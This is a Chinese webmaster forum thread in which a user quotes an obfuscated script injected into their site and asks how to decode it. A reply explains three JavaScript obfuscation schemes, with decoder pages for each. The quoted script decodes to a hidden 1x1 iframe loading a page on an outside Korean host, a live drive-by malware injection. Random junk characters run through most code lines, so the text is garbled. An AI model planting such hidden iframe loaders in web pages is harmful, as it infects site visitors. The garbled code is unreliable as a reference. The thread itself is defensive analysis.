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[建站问题] 请草根帮我看看下面这段加密的怎么解

请草根帮我看看下面这段加密的怎么解

今天发现被挂马了代码如下是JS加密的吧? 开始我解不开,谁能帮我下! J4 E$ Y$ j0 T1 \" ]8 j
引用:

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<SCRIPT LANGUAGE="JavaScript">
$ u/ C$ L. q5 Q& }<!--
% C/ O3 a, [% ?, W" _/ h1 G$ Z$ \function Decode(){var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!104!116!116!112!58!47!47!120!45!114!111!97!100!46!99!111!46!107!114!47!114!105!99!104!47!111!117!116!46!112!104!112!32!119!105!100!116!104!61!49!32!104!101!105!103!104!116!61!49!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
( Q3 Z: L3 j6 q//-->
: l8 ?6 c& m" u. r3 G</SCRIPT><SCRIPT LANGUAGE="JavaScript">
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方法一:
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  有一种加密的办法是采用javascript的escape()函数,把某些符号、汉字等变成乱码,以达到迷惑人的目的。解密这种代码的办法是采用其反函数加以还原。下面是一个经过加密的例子:
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<HTML>2 c8 k, k- m. q, B9 z9 h' f
<SCRIPT LANGUAGE="Javascript">( \# y+ C8 _1 C( |; s
var Words ="%3Chtml%3E%3Cbody%20bgcolor%3D%22red%22%3E%3Cp%3E%u8FD9%u662F%u4F8B%u5B50%uFF01%uFF01%uFF1A%uFF09%3C/p%3E%3C/body%3E%3C/html%3E"
# m; T+ Z5 X+ c7 u& d; s, E7 `4 l% \( Yvar NewWords;
1 J9 A. q; y! s% KNewWords = unescape(Words);* e: q! A- p9 t6 S. c' q
document.write(NewWords)0 g2 L/ m' T3 `
</SCRIPT>" c1 T% C* L4 G8 q3 t- }6 a5 y
<BODY>5 n! x) y2 k+ ~2 {% e4 M
</BODY>
  f1 u! o5 s' @. B0 k</HTML>
( P- a$ r& @8 c5 M
9 {& A0 `/ w1 z; N% R. x, A& q  这种文件最好解密,一看就明白,关键是unescape()函数起了还原源代码的作用。要想看到加密前的代码是什么样子,可以用下面的办法:
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. l$ W( Y$ [8 ~  l7 M$ X<HTML><SCRIPT LANGUAGE="Javascript">
5 S! }3 i3 W  Qvar Words ="%3Chtml%3E%3Cbody%20bgcolor%3D%22red%22%3E%3Cp%3E%u8FD9%u662F%u4F8B%u5B50%uFF01%uFF01%uFF1A%uFF09%3C/p%3E%3C/body%3E%3C/html%3E"  u$ z0 V" \2 D- o8 I% h
var NewWords;* h; Z. [  o7 X4 {
NewWords = unescape(Words);
! f4 H1 A0 {  J3 o9 GNewWords=NewWords.toString();" @+ B4 L! G7 L
function password(){4 h, |: L" g! a
document.pw.txtpw.value=NewWords;$ V# k% P8 j7 Y9 T9 Z
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</SCRIPT>3 d$ b0 |9 }4 R+ |) J& J5 C9 a! a/ l
<BODY>5 q. L6 a7 B5 m  A0 _
<form name=pw>
; l! j. h0 k: d& e<input type=button onclick="password()" value="解密">0 T4 Z3 C4 x& Q% u& N% I" L, o
<br>/ U; k8 v  e$ }/ @" q
<textarea name="txtpw" cols="100" rows="100"></textarea>
1 c9 N( ]- Y" h% `3 y4 n; J( X</form>. M3 j) ?" ?, M* I9 A# i
</BODY>' i4 ~8 j2 |+ R2 ~! [2 l- q
</HTML>
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方法二:! [. o0 }5 ~3 U
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  有一个软件叫HTMLEncrypt.exe,它就是把源代码进行加密的软件,这个软件的加密的原理是把字符转换。下面的例子是一个分帧的页面:* j  }0 a) {5 T1 W8 t
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<html><head><script>( r8 _& z) S* C1 A' X" T
function Carbosoft( s ) { var sRet=""; for(j=0; j< s.length; j++ ){ var n= s.charCodeAt(j); if (n>=8364) {n = 128;} sRet += String.fromCharCode( n - 3 ); } return( sRet ); }3 l, w0 q0 d5 R+ t3 P1 `1 q
var sJsCmds ="" +  d6 I! }0 [4 e
"?kwpoA?khdgA?phwd#kwws0htxly@%Frqwhqw0W|sh%#frqwhqw@%wh{w2kwpo>#fkduvhw@lvr0;;8<04%A?wlwohAZHOFRPH?2wlwohA?phwd#qdph@%JHQHUDWRU%#frqwhqw@%Plfurvriw#IurqwSdjh#613%A?phwd#qdph@%Plfurvriw#Wkhph%#frqwhqw@%qrqh/#ghidxow%A?phwd#qdph@%Plfurvriw#Erughu%#frqwhqw@%qrqh/#ghidxow%A?2khdgA?iudphvhw#erughu@%3%#iudpherughu@%3%#urzv@%-/93%A##?iudph#qdph@%pdlq%#vuf@%xs1kwp%#vfuroolqj@%dxwr%A##?iudph#qdph@%rqolqh%#vuf@%grzq1kwp%#vfuroolqj@%qr%#qruhvl}h#wdujhw@%beodqn%A##?qriudphvA##?erg|A##?sAWklv#sdjh#xvhv#iudphv/#exw#|rxu#eurzvhu#grhvq*w#vxssruw#wkhp1#?2sA##?2erg|A##?2qriudphvA?2iudphvhwA?2kwpoA?irqw#froru@%&33333%A?s#doljq@%fhqwhu%A?vpdooA?irqw#idfh@%Wdkrpd%AWklv#iloh#zdv#hqfu|swhg#xvlqj#dq#xquhjlvwhuhg#yhuvlrq#ri#?d#kuhi@%kwws=22fduer{1wkhgqv1qhw2kwpohqfu|sw1kwp%AKWPO#Hqfu|sw#y413?2dA1?2irqwA?2vpdooA?2sA" +! E5 D4 ^  d1 i
"";
* S/ R% m' }  Y3 @/ _+ \var s= Carbosoft( sJsCmds);$ k) J- u2 W! n- `
document.write (s);- p8 Q9 _. K* G, U2 Z% z
</script>! p& Q# I- x. y/ w
</head><body></body></html>; ^! i  R+ V, p* U8 b0 u+ W
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  从上面可以看出,浏览器解释这写代码前,进行了还原,从而可以得到破解的方法如下: . e) l/ E+ n4 m" b! N
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<script>- K6 l- R5 p' q* u7 `9 K6 V/ N
function Carbosoft( s ) { var sRet=""; for(j=0; j< s.length; j++ ){ var n= s.charCodeAt(j); if (n>=8364) {n = 128;} sRet += String.fromCharCode( n - 3 ); } return( sRet ); }0 u4 a+ W1 W% E! w/ l0 c/ D2 T' o  A
var sJsCmds ="" +$ h# s% O6 s' B& a* R; z; S
"?kwpoA?khdgA?phwd#kwws0htxly@%Frqwhqw0W|sh%#frqwhqw@%wh{w2kwpo>#fkduvhw@lvr0;;8<04%A?wlwohAZHOFRPH?2wlwohA?phwd#qdph@%JHQHUDWRU%#frqwhqw@%Plfurvriw#IurqwSdjh#613%A?phwd#qdph@%Plfurvriw#Wkhph%#frqwhqw@%qrqh/#ghidxow%A?phwd#qdph@%Plfurvriw#Erughu%#frqwhqw@%qrqh/#ghidxow%A?2khdgA?iudphvhw#erughu@%3%#iudpherughu@%3%#urzv@%-/93%A##?iudph#qdph@%pdlq%#vuf@%xs1kwp%#vfuroolqj@%dxwr%A##?iudph#qdph@%rqolqh%#vuf@%grzq1kwp%#vfuroolqj@%qr%#qruhvl}h#wdujhw@%beodqn%A##?qriudphvA##?erg|A##?sAWklv#sdjh#xvhv#iudphv/#exw#|rxu#eurzvhu#grhvq*w#vxssruw#wkhp1#?2sA##?2erg|A##?2qriudphvA?2iudphvhwA?2kwpoA?irqw#froru@%&33333%A?s#doljq@%fhqwhu%A?vpdooA?irqw#idfh@%Wdkrpd%AWklv#iloh#zdv#hqfu|swhg#xvlqj#dq#xquhjlvwhuhg#yhuvlrq#ri#?d#kuhi@%kwws=22fduer{1wkhgqv1qhw2kwpohqfu|sw1kwp%AKWPO#Hqfu|sw#y413?2dA1?2irqwA?2vpdooA?2sA" +: w/ k- }1 y( q  ^" {. X
"";
% F: ~5 F8 w; N& X) M! \: ivar s= Carbosoft( sJsCmds);
7 f" c! R1 |! W. T</script>
5 B; X; a3 K& D$ E<form name=qq>
3 s. j% o( b9 A# b  L<textarea name=ww cols=100 rows=10></textarea>
" e; i. U+ \: Y3 Y+ ]  Y<input onclick='ww.value=s' type=button value="解密">
1 s- K4 V( _- A. ~</form>! `4 W: F$ ^$ B! Z( g

. n3 y7 p8 P9 W8 {! u1 r. p方法三:
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  有一种加密方法是每行单独加密,还原起来比较复杂。看一个加密过的原文:
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) l( p6 `, j: w' \2 B<HTML># j' x6 Y* g7 ]! S2 m
<BODY>9 S2 y, M8 r; z& L" J
<SCRIPT LANGUAGE="JavaScript">. x* c& _2 u) A1 J  x
function Decode() {: c, y+ S. n  }! x1 t$ z2 `
d("FrfmnD");d("FruyvDFgwhqjfWnyeseysuEXpydy%whqjf~J~XWghwEXfkjJpgXDFIgwhqjfD");d("FmufyWrffjKuieqdEX?klfulfK$ajuXWwklfulfEXfubfIrfmnGWwryhgufEsx}{~}XD");d("FfqfnuDejFIfqfnuD");d("FIruyvD");d("FxkvaD");d("FIxkvaD");d("FIrfmnD");d("W");return 0;}; `7 g% p/ {' R' P/ \5 @" b
</SCRIPT>  n- U/ U- L  u) {2 [) f
<SCRIPT LANGUAGE="JavaScript">
7 H. K5 D+ M& Z  Y8 _5 i; u0 Pfunction d (enc) {document.write(codeIt(key,enc));}
; y: t- T7 _$ k" Jvar key = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!\"\ \|#$%&\'()*+,-.\/:;<=>?@[\\]^_\t\`{}~\n";function codeIt (mC, eS) {var wTG, mcH = mC.length / 2, nS = "", dv;for (var x = 0; x < eS.length; x++) { wTG = mC.indexOf(eS.charAt(x));if (wTG > mcH) {dv = wTG - mcH; nS = nS + mC.charAt(48 - dv);}else {dv = mcH - wTG;nS = nS + mC.charAt(48 + dv);}}return nS;}; K6 ~5 a8 @2 c, t! H3 z
</SCRIPT>
$ z! @1 q- L6 V4 U  G<SCRIPT LANGUAGE="JavaScript">7 B2 T8 j! G4 Z: H7 c: B6 R4 j
Decode();
' |. K8 n2 f+ R' u+ ?! Y! o2 O  s</SCRIPT>% e7 |9 k* Q) M% f8 A- [+ W$ @
</BODY>
/ ^2 H; g0 f/ R% ?/ q" k3 I</HTML>
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( M. U; m% {: X; T% O  还原的时候,也必须每行单独解密,用下面的方法可以看到源代码:
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<HTML>( N2 x0 V3 d8 d2 w1 X
<BODY>7 q& ~# f* [* l# Y8 r# I5 x+ r$ Y9 b
<SCRIPT LANGUAGE="JavaScript">+ Q* S# I3 U0 v, }3 w9 F
function Decode() {6 X' G3 Z" [5 G7 v' F8 N, p
d("FrfmnD");d("FruyvDFgwhqjfWnyeseysuEXpydy%whqjf~J~XWghwEXfkjJpgXDFIgwhqjfD");d("FmufyWrffjKuieqdEX?klfulfK$ajuXWwklfulfEXfubfIrfmnGWwryhgufEsx}{~}XD");d("FfqfnuDejFIfqfnuD");d("FIruyvD");d("FxkvaD");d("FIxkvaD");d("FIrfmnD");d("W");return 0;}" Q' ~6 P; n& F3 C. o
</SCRIPT>
' F. S" T1 b+ _/ f& l0 y3 ^" M<SCRIPT LANGUAGE="JavaScript">
& m& }9 l2 ~% L9 C3 g6 m! C' U7 ofunction d (enc) {alert(codeIt(key,enc));}
6 S$ i1 _$ B9 j, wvar key = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!\"\ \|#$%&\'()*+,-.\/:;<=>?@[\\]^_\t\`{}~\n";function codeIt (mC, eS) {var wTG, mcH = mC.length / 2, nS = "", dv;for (var x = 0; x < eS.length; x++) { wTG = mC.indexOf(eS.charAt(x));if (wTG > mcH) {dv = wTG - mcH; nS = nS + mC.charAt(48 - dv);}else {dv = mcH - wTG;nS = nS + mC.charAt(48 + dv);}}return nS;}" H- `. Y6 U& K
</SCRIPT>
1 O  K1 n; I$ N' h9 [<SCRIPT LANGUAGE="JavaScript">8 T/ D6 B2 P  @. f+ S$ y) a+ K* `
Decode();
. v0 b/ P6 k" @5 l. c4 q! O</SCRIPT>
7 {+ Y3 g5 v) E</BODY>
3 L" T7 ~, n$ K8 D# ]1 a, L& Y' j" K</HTML>
本帖最近评分记录
  • 紫风铃 威望 +10 感谢支持!236Z有你更精彩! 2008-1-26 00:23

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楼主的是第三种吧

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不错的
. T9 @0 q. P$ v8 D1 W6 A* o$ h楼上的技术不错啊

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